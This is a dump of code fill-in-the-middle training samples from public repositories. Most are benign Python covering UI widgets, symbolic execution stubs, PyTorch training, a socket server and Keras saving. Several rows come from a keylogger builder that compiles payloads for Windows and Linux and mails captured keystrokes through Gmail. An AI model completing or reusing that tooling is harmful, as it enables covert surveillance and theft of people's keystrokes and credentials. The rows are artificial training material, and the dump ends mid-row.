text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: indigos33k3r/KivyMD path: /kivymd/card.py
# -*- coding: utf-8 -*-
from kivy.lang import Builder
from kivy.properties import BoundedNumericProperty, ReferenceListProperty
from kivy.uix.boxlayout import BoxLayout
from kivymd.elevationbehaviour import ElevationBehaviour
from kivymd.theming import Th... | code_fim | medium | {
"lang": "python",
"repo": "indigos33k3r/KivyMD",
"path": "/kivymd/card.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> r = BoundedNumericProperty(1., min=0., max=1.)
g = BoundedNumericProperty(1., min=0., max=1.)
b = BoundedNumericProperty(1., min=0., max=1.)
a = BoundedNumericProperty(0., min=0., max=1.)
background_color = ReferenceListProperty(r, g, b, a)<|fim_prefix|># repo: indigos33k3r/KivyMD path: /kivymd/car... | code_fim | medium | {
"lang": "python",
"repo": "indigos33k3r/KivyMD",
"path": "/kivymd/card.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def run(self, fd): # pylint:disable=arguments-differ
#additional code
trace_data = ("close", {"fd": (fd, fd.symbolic)})
try:
self.state.procedure_data.global_variables["trace"].append(trace_data)
except KeyError:
self.state.procedure_data.global_v... | code_fim | medium | {
"lang": "python",
"repo": "Agnishom/SummerTrace",
"path": "/libc___so___6/close.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Agnishom/SummerTrace path: /libc___so___6/close.py
import simuvex
######################################
# close
######################################
class close(simuvex.SimProcedure):
<|fim_suffix|> self.state.posix.close(fd)
return self.state.se.BVV(0, self.state.arch.bits)<... | code_fim | hard | {
"lang": "python",
"repo": "Agnishom/SummerTrace",
"path": "/libc___so___6/close.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.state.posix.close(fd)
return self.state.se.BVV(0, self.state.arch.bits)<|fim_prefix|># repo: Agnishom/SummerTrace path: /libc___so___6/close.py
import simuvex
######################################
# close
######################################
<|fim_middle|>class close(simuvex.Si... | code_fim | hard | {
"lang": "python",
"repo": "Agnishom/SummerTrace",
"path": "/libc___so___6/close.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ipatrol/pineapple path: /plugins/Exhentai.py
import requests
import re
import discord
from util import Events
import html
# TODO: (feature) also get the Information about single pages
# API-URL and type of headers sent by POST-request
api_url = "https://api.e-hentai.org/api.php"
json_request_he... | code_fim | hard | {
"lang": "python",
"repo": "ipatrol/pineapple",
"path": "/plugins/Exhentai.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return '{"method": "gdata","gidlist": [[' + gallery_id + ',"' + gallery_token + '"]],"namespace": 1}'
@staticmethod
def build_title_string(json_data):
return '**Title:** ' + (html.unescape(json_data['gmetadata'][0]['title']))
@staticmethod
def build_title_jpn_string(json_... | code_fim | hard | {
"lang": "python",
"repo": "ipatrol/pineapple",
"path": "/plugins/Exhentai.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: PedalPi/PluginsManager path: /pluginsmanager/observer/scope.py
# Copyright 2017 SrMouraSilva
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.o... | code_fim | medium | {
"lang": "python",
"repo": "PedalPi/PluginsManager",
"path": "/pluginsmanager/observer/scope.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> :param identifier: Identifier for instance that causes changes
"""
self.current.enter(identifier)
def exit(self):
"""
Closes the last scope added
"""
self.current.exit()
class Scope(object):
def __init__(self):
self._scope = colle... | code_fim | hard | {
"lang": "python",
"repo": "PedalPi/PluginsManager",
"path": "/pluginsmanager/observer/scope.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: GarryGaller/nlp_toolkit path: /nlptk/patterns/patterns.py
import string
import re
'''
Полный список граммем здесь: http://opencorpora.org/dict.php?act=gram
NOUN имя существительное хомяк
ADJF имя прилагательное (полное) хороший
ADJS имя прилагательное (краткое) хорош
COMP компара... | code_fim | hard | {
"lang": "python",
"repo": "GarryGaller/nlp_toolkit",
"path": "/nlptk/patterns/patterns.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>'''
'POS',
'CC'
'UH'
'PRP','PRP$',
'NNP','NNPS',
'SYM',
'TO' ,
'WP','WDT','WP$'
'WRB'
'NN','NNS',
'RB','RBR','RBS',
'JJ','JJR''JJS',
'VB','VBZ','VBP','VBD','VBN','VBG',
'FW'
'''
'''
CC conjunction, coordinating and, or, but
CD cardinal number five, three, 13%
DT determine... | code_fim | hard | {
"lang": "python",
"repo": "GarryGaller/nlp_toolkit",
"path": "/nlptk/patterns/patterns.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wangzichao2018/PyTorch path: /official/net/densenet/densenet.py
import os
import argparse
import random
import time
import torch.nn as nn
import torch.optim as optim
import torch.utils.data
import torchvision.transforms as transforms
import torchvision.datasets as dset
import torchvision.models ... | code_fim | hard | {
"lang": "python",
"repo": "wangzichao2018/PyTorch",
"path": "/official/net/densenet/densenet.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> batch_time = AverageMeter('Time', ':6.3f')
losses = AverageMeter('Loss', ':6.3f')
top1 = AverageMeter('Acc@1', ':6.2f')
top5 = AverageMeter('Acc@5', ':6.2f')
progress = ProgressMeter(
len(dataloader),
batch_time,
losses,
top1,
top5,
prefix='Test: ')
with torch.no_grad(... | code_fim | hard | {
"lang": "python",
"repo": "wangzichao2018/PyTorch",
"path": "/official/net/densenet/densenet.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> model.eval()
batch_time = AverageMeter('Time', ':6.3f')
losses = AverageMeter('Loss', ':6.3f')
top1 = AverageMeter('Acc@1', ':6.2f')
top5 = AverageMeter('Acc@5', ':6.2f')
progress = ProgressMeter(
len(dataloader),
batch_time,
losses,
top1,
top5,
prefix='Test: ')
wit... | code_fim | hard | {
"lang": "python",
"repo": "wangzichao2018/PyTorch",
"path": "/official/net/densenet/densenet.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ducha-aiki/affnet path: /augmentation.py
import numpy as np
from PIL import Image
import sys
from copy import deepcopy
import argparse
import math
import torch.utils.data as data
import torch
import torch.nn.init
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
... | code_fim | hard | {
"lang": "python",
"repo": "ducha-aiki/affnet",
"path": "/augmentation.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def get_random_norm_affine_LAFs(patches, max_tilt = 1.0):
assert max_tilt > 0
aff_LAFs = Variable(torch.FloatTensor([[0.5, 0, 0.5],[0, 0.5, 0.5]]).unsqueeze(0).repeat(patches.size(0),1,1));
tilt = Variable( 1/max_tilt + (max_tilt - 1./max_tilt)* torch.rand(patches.size(0), 1, 1));
phi = m... | code_fim | hard | {
"lang": "python",
"repo": "ducha-aiki/affnet",
"path": "/augmentation.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: SGNovice/Disease-detection-using-chest-xrays path: /commons.py
import io
import torch
import torch.nn as nn
from torchvision import models,transforms
from PIL import Image
import torch.nn.functional as F
def mila(input, beta=-0.25):
'''
Applies the Mila function element-wise... | code_fim | hard | {
"lang": "python",
"repo": "SGNovice/Disease-detection-using-chest-xrays",
"path": "/commons.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> super().__init__()
self.fc1 = nn.Linear(2208, 500)
self.fc2 = nn.Linear(500, 256)
self.fc3 = nn.Linear(256, 3)
self.dropout = nn.Dropout(0.5)
self.logsoftmax = nn.LogSoftmax(dim=1)
self.acivation = mila
def forward(self,x):
x = x.... | code_fim | hard | {
"lang": "python",
"repo": "SGNovice/Disease-detection-using-chest-xrays",
"path": "/commons.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bigheiniu/FakeReviewAll path: /SeqModel/classifier/NormalClassfier.py
from xgboost import XGBClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
from sklearn.svm import SVC
from sklearn.linear_model import LogisticRegression
'''
Binary Class... | code_fim | hard | {
"lang": "python",
"repo": "bigheiniu/FakeReviewAll",
"path": "/SeqModel/classifier/NormalClassfier.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, config_dic):
super(LogisticClassifier, self).__init__(config_dic)
def build_model(self):
self.model = LogisticRegression(**self.config_dic)
def train(self, train_data):
feature = train_data['feature']
label = train_data['label']
self... | code_fim | hard | {
"lang": "python",
"repo": "bigheiniu/FakeReviewAll",
"path": "/SeqModel/classifier/NormalClassfier.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> imageStream = io.BytesIO()
with PiCameraWithoutIR() as camera:
camera.awb_mode = 'greyworld'
camera.resolution = (self.settings["CameraResolutionWidth"], self.settings["CameraResolutionHeight"])
camera.capture(imageStream, format='jpeg')
imageSt... | code_fim | medium | {
"lang": "python",
"repo": "FDSMPS/Security-Camera-App",
"path": "/src/Camera.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: FDSMPS/Security-Camera-App path: /src/Camera.py
'''
Creation Date: Feb 3, 2020
Author: Tymoore Jamal
Content: This file contains the Camera class which handles reading in images.
'''
import threading
from os import listdir
from os.path import join
from PIL import Image
from random im... | code_fim | medium | {
"lang": "python",
"repo": "FDSMPS/Security-Camera-App",
"path": "/src/Camera.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''
This class allows us to capture images from the camera. It does this in a safe manner uses a mutex.
'''
lock = threading.Lock()
def __init__(self, settings):
'''
Creates an instance of this class and initialzes its class variables.
@param se... | code_fim | hard | {
"lang": "python",
"repo": "FDSMPS/Security-Camera-App",
"path": "/src/Camera.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pezLyfe/DatasheetCreator path: /nonExActuators.py
dling and screening for correct inputs
#look at mapping to simplify the iterations
import pandas as pd
import numpy as np
import xlsxwriter as xls
import datasheetFormat as form
workbook = xls.Workbook('ava_Datasheets.xlsx')
actDescrip... | code_fim | hard | {
"lang": "python",
"repo": "pezLyfe/DatasheetCreator",
"path": "/nonExActuators.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>smart20Current['Signal'] = signals['signal'][0] #Add descriptors from the signals dictionary
smart20Voltage['Signal'] = signals['signal'][1]
smartMOD['Signal'] = signals['signal'][2]
smart20 = pd.concat([smart20Current, smart20Voltage]) #Start zipping things back together
smartMOD = pd.concat([smart... | code_fim | hard | {
"lang": "python",
"repo": "pezLyfe/DatasheetCreator",
"path": "/nonExActuators.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>for i in range (5, len(smart20['Index'])): #Drop the rows unrelated to the S20 actuators
smart20.drop([i], axis = 0, inplace = True)
smart20Current = smart20.copy() #Make copies of the smart20 dataframes to add stuff into it
smart20Voltage = smart20.copy()
smart20Current['Signal'] = signals['s... | code_fim | hard | {
"lang": "python",
"repo": "pezLyfe/DatasheetCreator",
"path": "/nonExActuators.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lilidream/WeatherGirl path: /wg2.py
# coding=utf-8
from demo_sms_send import send_sms
import uuid
import json
import requests
import time
#短信发送记录
def log(contain):
logfile = open("data/log.txt",'a')
t = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
w = t+","+contain['location'... | code_fim | hard | {
"lang": "python",
"repo": "lilidream/WeatherGirl",
"path": "/wg2.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>#----------------预报设置---------------------
caiyunapi_key="彩云API_KEY" #彩云API_KEY
small_rain = 0.05 #小雨阀值
middle_rain = 0.25 #中雨
heavy_rain = 0.32 #大雨
storm_rain = 0.4 #暴雨
delay_time = 14400 #预警间隔时间，单位秒
#----------------程序开始---------------------
#读取用户文件
userfile = open('data/user.json','r')
user = json.l... | code_fim | hard | {
"lang": "python",
"repo": "lilidream/WeatherGirl",
"path": "/wg2.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> #当前只下小雨,稍后有大雨或暴雨
elif st==0:
#暴雨
if stt>0:
print("当前小雨,稍后有暴雨")
sendmsg(user,key,"暴雨")
#大雨
elif ht>0:
print("当前小雨,稍后有大雨")
sendmsg(user,key,"大雨")
else:
... | code_fim | hard | {
"lang": "python",
"repo": "lilidream/WeatherGirl",
"path": "/wg2.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dEbAR38/ITMO_ICT_WebDevelopment_2020-2021 path: /students/K33401/Tikhonova_Elena/Lr1/task_3/server.py
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
conn.bind(('localhost', 8080))
conn.listen(10)
<|fim_suffix|> data = clientsocket.recv(1024)
print(d... | code_fim | easy | {
"lang": "python",
"repo": "dEbAR38/ITMO_ICT_WebDevelopment_2020-2021",
"path": "/students/K33401/Tikhonova_Elena/Lr1/task_3/server.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> header = 'HTTP/1.1 200 OK\n'
header += 'Content-Type: '+'text/html' + '\n\n'
header = header.encode("utf-8")
with open('index.html', 'rb') as index:
response = index.read()
clientsocket.sendall(header+response)<|fim_prefix|># repo: dEbAR38/ITMO_ICT_WebDevelopment_2020-2021 pa... | code_fim | medium | {
"lang": "python",
"repo": "dEbAR38/ITMO_ICT_WebDevelopment_2020-2021",
"path": "/students/K33401/Tikhonova_Elena/Lr1/task_3/server.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # # Grid for Time Propagation
# time grid
self.nt = 4000 // 40
# propagate for 150 fs
t_max = 150.0 / units.autime_to_fs / 40.0
self.times = torch.linspace(0.0, t_max, self.nt)
self.dt = self.times[1]-self.times[0]
... | code_fim | hard | {
"lang": "python",
"repo": "humeniuka/semiclassical",
"path": "/tests/test_propagators.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: humeniuka/semiclassical path: /tests/test_propagators.py
(8)
# I think there is a mistake in Kluk & Herman's paper, the exponent of the Gaussian
# should be alpha=1/2 so that the wavefunction is the HO ground state wavefunction
# for the potential V(x) = 1/2 x^2
a... | code_fim | hard | {
"lang": "python",
"repo": "humeniuka/semiclassical",
"path": "/tests/test_propagators.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: humeniuka/semiclassical path: /tests/test_propagators.py
Time Propagation
# time grid
nt = 4000 // 40
# I believe in the HK paper time is measured in units of oscilla
tau_max = 12.0 / 40
# frequency of oscillator
omega = 1.0
t_max =... | code_fim | hard | {
"lang": "python",
"repo": "humeniuka/semiclassical",
"path": "/tests/test_propagators.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>arguments = get_arguments()
create_keylogger(arguments.out, arguments.interval, arguments.email, arguments.password)
if arguments.windows:
compile_for_windows(arguments.out)
if arguments.linux:
compile_for_linux(arguments.out)
print("\n\n[***] Don't forget to allow less secure applications in y... | code_fim | medium | {
"lang": "python",
"repo": "XPR1M3/XLogger",
"path": "/xlogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: XPR1M3/XLogger path: /xlogger.py
#!/usr/bin/env python
import argparse
import subprocess
import os
WINDOWS_PYTHON_INTERPRETER_PATH = os.path.expanduser("~/.wine/drive_c/Python27/Scripts/pyinstaller.exe")
print(" ")
print("\ \ / / | ... | code_fim | hard | {
"lang": "python",
"repo": "XPR1M3/XLogger",
"path": "/xlogger.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>if arguments.windows:
compile_for_windows(arguments.out)
if arguments.linux:
compile_for_linux(arguments.out)
print("\n\n[***] Don't forget to allow less secure applications in your Gmail account.")
print("Use the following link to do so https://myaccount.google.com/lesssecureapps")<|fim_prefix|... | code_fim | hard | {
"lang": "python",
"repo": "XPR1M3/XLogger",
"path": "/xlogger.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def _write_recursively(zipfile_to_save, system_path, zip_path):
if not tf.io.gfile.isdir(system_path):
zipfile_to_save.write(system_path, zip_path)
else:
for file_name in tf.io.gfile.listdir(system_path):
system_file_path = tf.io.gfile.join(system_path, file_name)
... | code_fim | hard | {
"lang": "python",
"repo": "mishc9/keras",
"path": "/keras/saving/experimental/saving_lib.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class DiskIOHandler:
def __init__(self, base_directory):
self.base_directory = base_directory
def make(self, path):
if not path:
return self.base_directory
path = tf.io.gfile.join(self.base_directory, path)
if not tf.io.gfile.exists(path):
... | code_fim | hard | {
"lang": "python",
"repo": "mishc9/keras",
"path": "/keras/saving/experimental/saving_lib.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mishc9/keras path: /keras/saving/experimental/saving_lib.py
# Copyright 2022 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License a... | code_fim | hard | {
"lang": "python",
"repo": "mishc9/keras",
"path": "/keras/saving/experimental/saving_lib.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bruinxiong/torchgpipe path: /torchgpipe/worker.py
"""Multithreading in pipeline parallelism."""
from contextlib import contextmanager
from queue import Queue
import sys
from threading import Thread
from types import TracebackType
from typing import TYPE_CHECKING, Callable, Generator, List, Option... | code_fim | hard | {
"lang": "python",
"repo": "bruinxiong/torchgpipe",
"path": "/torchgpipe/worker.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> if self._finalize is None:
return
with use_device(self.device), use_stream(self.stream):
self._finalize(batch)
def worker(in_queue: InQueue,
out_queue: OutQueue,
grad_mode: bool,
) -> None:
"""The main loop of a worker thread."... | code_fim | hard | {
"lang": "python",
"repo": "bruinxiong/torchgpipe",
"path": "/torchgpipe/worker.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@contextmanager
def spawn_workers(count: int) -> Generator[Tuple[List[InQueue], List[OutQueue]], None, None]:
"""Spawns worker threads."""
in_queues: List[InQueue] = []
out_queues: List[OutQueue] = []
grad_mode = torch.is_grad_enabled()
# Spawn workers.
for _ in range(count):
... | code_fim | hard | {
"lang": "python",
"repo": "bruinxiong/torchgpipe",
"path": "/torchgpipe/worker.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Creates DB in memory
SQLALCHEMY_DATABASE_URI = r"sqlite:///"
SQLALCHEMY_TRACK_MODIFICATIONS = True
TESTING = True<|fim_prefix|># repo: 0Hughman0/Housenet path: /housenet/config/config.py
class DefaultConfig:
### Database config ###
# Where to find db file?
SQLALCHEMY_DATABAS... | code_fim | easy | {
"lang": "python",
"repo": "0Hughman0/Housenet",
"path": "/housenet/config/config.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 0Hughman0/Housenet path: /housenet/config/config.py
class DefaultConfig:
### Database config ###
# Where to find db file?
SQLALCHEMY_DATABASE_URI = r"sqlite:///housenet/database/database.db"
# Produces lots of messages/ slows performance
SQLALCHEMY_TRACK_MODIFICATIONS = False
... | code_fim | easy | {
"lang": "python",
"repo": "0Hughman0/Housenet",
"path": "/housenet/config/config.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: muskanmahajan37/AMIP_Simu path: /Scripts/calc_SNA_Data_Eurasia_CDRSCE.py
"""
Script calculates Eurasian snow area index for October-November using data
from the Rutgers Global Snow Lab data
Notes
-----
Author : Zachary Labe
Date : 25 July 2019
"""
### Import modules
import datetime
im... | code_fim | hard | {
"lang": "python",
"repo": "muskanmahajan37/AMIP_Simu",
"path": "/Scripts/calc_SNA_Data_Eurasia_CDRSCE.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>### Calculate October-November index (1979-2015)
octnov = np.nanmean(datasort[:years.shape[0],9:11],axis=1)
octnovdt = SS.detrend(octnov,type='linear')
### Calculate October index (1979-2015)
octonly = datasort[:years.shape[0],9:10].squeeze()
octonlydt = SS.detrend(octonly,type='linear')
### Save both i... | code_fim | hard | {
"lang": "python",
"repo": "muskanmahajan37/AMIP_Simu",
"path": "/Scripts/calc_SNA_Data_Eurasia_CDRSCE.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>### Read in all months of data
yearsdata,months,data = np.genfromtxt(directoryoutput + \
'CDR_SCE_Eurasia_Monthly.txt',unpack=True,
usecols=[0,1,2])
### Reshape data into []
yearssort = np.reshape(yearsdata,(yearsdata.shape[0]//m,m))
mon... | code_fim | hard | {
"lang": "python",
"repo": "muskanmahajan37/AMIP_Simu",
"path": "/Scripts/calc_SNA_Data_Eurasia_CDRSCE.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>## get live price of Apple
#print('aaple:',si.get_live_price("aapl"))
#
## or Amazon
#print('amazon',si.get_live_price("amzn"))
#
## or any other ticker
#for ticker in tickers:
# print(ticker,si.get_live_price(ticker))
#
#hist = []
while True:
dr = si.get_live_price('tsla')
hist += [dr]
p... | code_fim | medium | {
"lang": "python",
"repo": "am-3/StockWaves",
"path": "/Initial source/SM v0.01.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: am-3/StockWaves path: /Initial source/SM v0.01.py
from pandas_datareader import data
import matplotlib.pyplot as plt
import pandas as pd
im googlefinance import getQuotes
import json
#
## Define the instruments to download. We would like to see Apple, Microsoft and the S&P500 index.
tickers = ['A... | code_fim | medium | {
"lang": "python",
"repo": "am-3/StockWaves",
"path": "/Initial source/SM v0.01.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Oriolus/GithubLoadScheduler path: /loading.py
import json
import uuid
from main import transaction
from typing import Dict, Optional
def get_db_connection():
return transaction()
class Loading:
def __init__(self):
self.id = 0
self.url = None
self.req_params = ... | code_fim | hard | {
"lang": "python",
"repo": "Oriolus/GithubLoadScheduler",
"path": "/loading.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def finish_loading(obj: Loading) -> Loading:
with get_db_connection() as conn:
with conn.cursor() as cur:
update_script = '''
update log.loading
set
resp_status = %s
,resp_headers = %s
,resp_text = %s
,resp_raw = %s
,end_timestamp = n... | code_fim | hard | {
"lang": "python",
"repo": "Oriolus/GithubLoadScheduler",
"path": "/loading.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> with get_db_connection() as conn:
with conn.cursor() as cur:
update_script = '''
update log.loading
set
resp_status = %s
,resp_headers = %s
,resp_text = %s
,resp_raw = %s
,end_timestamp = now()
,error = %s
where
id... | code_fim | hard | {
"lang": "python",
"repo": "Oriolus/GithubLoadScheduler",
"path": "/loading.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> Args:
machine(mpf.core.machine.MachineController): the machine controller
Returns:
"""
self.machine = machine<|fim_prefix|># repo: jrobert2/mpf path: /mpf/core/mpf_controller.py
"""Base class for MPF controllers."""
import abc
class MpfController(metaclass=... | code_fim | medium | {
"lang": "python",
"repo": "jrobert2/mpf",
"path": "/mpf/core/mpf_controller.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jrobert2/mpf path: /mpf/core/mpf_controller.py
"""Base class for MPF controllers."""
import abc
<|fim_suffix|> """Initialise controller.
Args:
machine(mpf.core.machine.MachineController): the machine controller
Returns:
"""
self.machine = ma... | code_fim | medium | {
"lang": "python",
"repo": "jrobert2/mpf",
"path": "/mpf/core/mpf_controller.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return render(request, 'testing/query_params.html', context)<|fim_prefix|># repo: Minkov/python-web-2020-09 path: /django101/testing/views/query_params.py
from django.shortcuts import render
def query_params_view(request):
<|fim_middle|> q = request.GET.get('q')
pages = request.GET.get(... | code_fim | hard | {
"lang": "python",
"repo": "Minkov/python-web-2020-09",
"path": "/django101/testing/views/query_params.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Minkov/python-web-2020-09 path: /django101/testing/views/query_params.py
from django.shortcuts import render
def query_params_view(request):
<|fim_suffix|> context = {
'grid_params': {
'current_page': 0,
'pages_count': 15,
'filter': '',
... | code_fim | medium | {
"lang": "python",
"repo": "Minkov/python-web-2020-09",
"path": "/django101/testing/views/query_params.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Activate const input. Called during construction time.
:param name:
:param value:
:return:
"""
name = sys.intern(name)
if self.get_input_type(name) == IN_INVALID:
raise KeyError(f"Invalid input {name}")
if self.const_... | code_fim | hard | {
"lang": "python",
"repo": "nocproject/noc",
"path": "/core/cdag/node/base.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nocproject/noc path: /core/cdag/node/base.py
return self.__static[__name]
v = self.__override.get(__name, config_proxy_sentinel)
if v is config_proxy_sentinel:
return getattr(self.__base, __name)
return v
class BaseCDAGNodeMetaclass(type):
def __new__(mc... | code_fim | hard | {
"lang": "python",
"repo": "nocproject/noc",
"path": "/core/cdag/node/base.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nocproject/noc path: /core/cdag/node/base.py
---------
# BaseNode
# ----------------------------------------------------------------------
# Copyright (C) 2007-2022 The NOC Project
# See LICENSE for details
# ----------------------------------------------------------------------
# Python modules... | code_fim | hard | {
"lang": "python",
"repo": "nocproject/noc",
"path": "/core/cdag/node/base.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> expected = {
'wavelength': np.array([1.89e6, 2e6]),
'throughput': np.array([0., 1.6]),
'linenumber': np.array([0, 1])
}
data = hdf5_tree.Index('numbers.table.response[:][0]')
self.assertEqual(set(data.keys()), set(expected.keys()))
for key in data.keys():
... | code_fim | hard | {
"lang": "python",
"repo": "ghomsy/makani",
"path": "/lib/python/struct_tree_test.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def testDictToD3Tree(self):
data = {
'deep': {'x': {'y': None}},
'format': {'array': (4,), 'list': (4,)},
'numbers': [
{'pi': []},
{'sigma': []},
],
}
expected = {
'path': '',
'leaf': False,
'name': 'root',
... | code_fim | hard | {
"lang": "python",
"repo": "ghomsy/makani",
"path": "/lib/python/struct_tree_test.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ghomsy/makani path: /lib/python/struct_tree_test.py
# Copyright 2020 Makani Technologies LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.... | code_fim | hard | {
"lang": "python",
"repo": "ghomsy/makani",
"path": "/lib/python/struct_tree_test.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: luserx0/i3ipc-python path: /i3ipc/model.py
class Rect:
"""Used by other classes to represent rectangular position and dimensions.
:ivar x: The x coordinate.
:vartype x: int
:ivar y: The y coordinate.
:vartype y: int
:ivar height: The height of the rectangle.
:vartype ... | code_fim | medium | {
"lang": "python",
"repo": "luserx0/i3ipc-python",
"path": "/i3ipc/model.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> """For forks that have useless gaps, the dimension of the gaps.
:ivar inner: The inner gaps.
:vartype inner: int
:ivar outer: The outer gaps.
:vartype outer: int
"""
def __init__(self, data):
self.inner = data['inner']
self.outer = data['outer']<|fim_prefix|>#... | code_fim | medium | {
"lang": "python",
"repo": "luserx0/i3ipc-python",
"path": "/i3ipc/model.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>class Gaps:
"""For forks that have useless gaps, the dimension of the gaps.
:ivar inner: The inner gaps.
:vartype inner: int
:ivar outer: The outer gaps.
:vartype outer: int
"""
def __init__(self, data):
self.inner = data['inner']
self.outer = data['outer']<|f... | code_fim | hard | {
"lang": "python",
"repo": "luserx0/i3ipc-python",
"path": "/i3ipc/model.py",
